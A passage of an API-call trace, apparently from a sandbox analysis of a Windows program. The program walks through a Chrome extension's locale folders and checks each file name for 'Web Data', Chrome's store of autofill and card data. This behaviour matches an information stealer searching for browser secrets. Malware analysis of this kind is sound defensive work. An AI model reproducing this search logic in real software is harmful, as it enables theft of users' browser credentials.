Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sk\\*.*", lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0x642928 [0078.526] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0078.526] FindNextFileA (in: hFindFile=0x642928, lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 1 [0078.526] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0078.526] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0078.526] FindNextFileA (in: hFindFile=0x642928, lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 1 [0078.526] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0078.526] FindNextFileA (in: hFindFile=0x642928, lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0 [0078.526] FindClose (in: hFindFile=0x642928 | out: hFindFile=0x642928) returned 1 [0078.526] LocalFree (hMem=0x6525c0) returned 0x0 [0078.526] LocalFree (hMem=0x6524b8) returned 0x0 [0078.526] FindNextFileA (in: hFindFile=0x6428e8, lpFindFileData=0x12f4da | out: lpFindFileData=0x12f4da) returned 1 [0078.526] lstrcmpiA (lpString1=".", lpString2="sl") returned -1 [0078.526] lstrcmpiA (lpString1="..", lpString2="sl") returned -1 [0078.526] LocalAlloc (uFlags=0x40, uBytes=0xfb) returned 0x6523b0 [0078.526] lstrcpyA (in: lpString1=0x6523b0, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales" [0078.526] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" [0078.526] LocalAlloc (uFlags=0x40, uBytes=0xfd) returned 0x6524b8 [0078.526] lstrcpyA (in: lpString1=0x6524b8, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" [0078.526] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\", lpString2="sl" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sl") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sl" [0078.526] LocalFree (hMem=0x6523b0) returned 0x0 [0078.526] LocalAlloc (uFlags=0x40, uBytes=0x101) returned 0x6525c0 [0078.526] lstrcpyA (in: lpString1=0x6525c0, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sl" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sl") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sl" [0078.526] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sl", lpString2="\\*.*" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sl\\*.*") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sl\\*.*" [0078.526] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sl\\*.*", lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0x642928 [0078.527] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0078.527] FindNextFileA (in: hFindFile=0x642928, lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 1 [0078.527] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0078.527] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0078.527] FindNextFileA (in: hFindFile=0x642928, lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 1 [0078.527] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0078.527] FindNextFileA (in: hFindFile=0x642928, lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0 [0078.527] FindClose (in: hFindFile=0x642928 | out: hFindFile=0x642928) returned 1 [0078.527] LocalFree (hMem=0x6525c0) returned 0x0 [0078.527] LocalFree (hMem=0x6524b8) returned 0x0 [0078.527] FindNextFileA (in: hFindFile=0x6428e8, lpFindFileData=0x12f4da | out: lpFindFileData=0x12f4da) returned 1 [0078.527] lstrcmpiA (lpString1=".", lpString2="sr") returned -1 [0078.527] lstrcmpiA (lpString1="..", lpString2="sr") returned -1 [0078.527] LocalAlloc (uFlags=0x40, uBytes=0xfb) returned 0x6523b0 [0078.527] lstrcpyA (in: lpString1=0x6523b0, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales" [0078.527] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" [0078.527] LocalAlloc (uFlags=0x40, uBytes=0xfd) returned 0x6524b8 [0078.527] lstrcpyA (in: lpString1=0x6524b8, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" [0078.527] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\", lpString2="sr" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sr") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sr" [0078.527] LocalFree (hMem=0x6523b0) returned 0x0 [0078.527] LocalAlloc (uFlags=0x40, uBytes=0x101) returned 0x6525c0 [0078.527] lstrcpyA (in: lpString1=0x6525c0, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sr" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sr") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sr" [0078.527] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sr", lpString2="\\*.*" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sr\\*.*") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sr\\*.*" [0078.527] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sr\\*.*", lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0x642928 [0078.528] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0078.528] FindNextFileA (in: hFindFile=0x642928, lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 1 [0078.528] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0078.528] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0078.528] FindNextFileA (in: hFindFile=0x642928, lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 1 [0078.528] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0078.528] FindNextFileA (in: hFindFile=0x642928, lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0 [0078.528] FindClose (in: hFindFile=0x642928 | out: hFindFile=0x642928) returned 1 [0078.528] LocalFree (hMem=0x6525c0) returned 0x0 [0078.528] LocalFree (hMem=0x6524b8) returned 0x0 [0078.528] FindNextFileA (in: hFindFile=0x6428e8, lpFindFileData=0x12f4da | out: lpFindFileData=0x12f4da) returned 1 [0078.528] lstrcmpiA (lpString1=".", lpString2="sv") returned -1 [0078.528] lstrcmpiA (lpString1="..", lpString2="sv") returned -1 [0078.528] LocalAlloc (uFlags=0x40, uBytes=0xfb) returned 0x6523b0 [0078.528] lstrcpyA (in: lpString1=0x6523b0, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales" [0078.528] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" [0078.528] LocalAlloc (uFlags=0x40, uBytes=0xfd) returned 0x6524b8 [0078.528] lstrcpyA (in: lpString1=0x6524b8, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" [0078.528] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\", lpString2="sv" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sv") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sv" [0078.528] LocalFree (hMem=0x6523b0) returned 0x0 [0078.528] LocalAlloc (uFlags=0x40, uBytes=0x101) returned 0x6525c0 [0078.528] lstrcpyA (in: lpString1=0x6525c0, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sv" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sv") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sv" [0078.528] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sv", lpString2="\\*.*" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sv\\*.*") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sv\\*.*" [0078.528] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sv\\*.*", lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0x642928 [0078.529] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0078.529] FindNextFileA (in: hFindFile=0x642928, lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 1 [0078.530] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0078.530] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0078.530] FindNextFileA (in: hFindFile=0x642928, lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 1 [0078.530] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0078.530] FindNextFileA (in: hFindFile=0x642928, lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0 [0078.530] FindClose (in: hFindFile=0x642928 | out: hFindFile=0x642928) returned 1 [0078.530] LocalFree (hMem=0x6525c0) returned 0x0 [0078.530] LocalFree (hMem=0x6524b8) returned 0x0 [0078.530] FindNextFileA (in: hFindFile=0x6428e8, lpFindFileData=0x12f4da | out: lpFindFileData=0x12f4da) returned 1 [0078.530] lstrcmpiA (lpString1=".", lpString2="th") returned -1 [0078.530] LocalAlloc (uFlags=0x40, uBytes=0xfb) returned 0x6523b0 [0078.530] lstrcpyA (in: lpString1=0x6523b0, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales" [0078.530] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" [0078.530] LocalAlloc (uFlags=0x40, uBytes=0xfd) returned 0x6524b8 [0078.530] lstrcpyA (in: lpString1=0x6524b8, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" [0078.530] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\", lpString2="th" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\th") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\th" [0078.530] LocalFree (hMem=0x6523b0) returned 0x0 [0078.530] LocalAlloc (uFlags=0x40, uBytes=0x101) returned 0x6525c0 [0078.530] lstrcpyA (in: lpString1=0x6525c0, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\th" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\th") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\th" [0078.530] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\th", lpString2="\\*.*" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\th\\*.*") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\th\\*.*" [0078.530] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\th\\*.*", lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0x642928 [0078.531] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0078.531] FindNextFileA (in: hFindFile=0x642928, lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0 [0078.531] FindClose (in: hFindFile=0x642928 | out: hFindFile=0x642928) returned 1 [0078.532] LocalFree (hMem=0x6525c0) returned 0x0 [0078.532] LocalFree (hMem=0x6524b8) returned 0x0 [0078.532] FindNextFileA (in: hFindFile=0x6428e8, lpFindFileData=0x12f4da | out: lpFindFileData=0x12f4da) returned 1 [0078.532] LocalAlloc (uFlags=0x40, uBytes=0xfb) returned 0x6523b0 [0078.532] lstrcpyA (in: lpString1=0x6523b0, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales" [0078.532] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" [0078.532] LocalAlloc (uFlags=0x40, uBytes=0xfd) returned 0x6524b8 [0078.532] lstrcpyA (in: lpString1=0x6524b8, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" [0078.532] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\", lpString2="tr" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\tr") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\tr" [0078.532] LocalFree (hMem=0x6523b0) returned 0x0 [0078.532] LocalAlloc (uFlags=0x40, uBytes=0x101) returned 0x6525c0 [0078.532] lstrcpyA (in: lpString1=0x6525c0, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\tr" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\tr") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\tr" [0078.532] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\tr", lpString2="\\*.*" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\tr\\*.*") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\tr\\*.*" [0078.532] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\tr\\*.*", lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0x642928 [0078.534] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0078.534] FindNextFileA (in: hFindFile=0x642928, lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0 [0078.534] FindClose (in: hFindFile=0x642928 | out: hFindFile=0x642928) returned 1 [0078.534] LocalFree (hMem=0x6525c0) returned 0x0 [0078.534] LocalFree (hMem=0x6524b8) returned 0x0 [0078.534] FindNextFileA (in: hFindFile=0x6428e8, lpFindFileData=0x12f4da | out: lpFindFileData=0x12f4da) returned 1 [0078.534] LocalAlloc (uFlags=0x40, uBytes=0xfb) returned 0x6523b0 [0078.534] lstrcpyA (in: lpString1=0x6523b0, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales" [0078.534] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" [0078.534] LocalAlloc (uFlags=0x40, uBytes=0xfd) returned 0x6524b8 [0078.534] lstrcpyA (in: lpString1=0x6524b8, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" [0078.534] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\", lpString2="uk" | out: 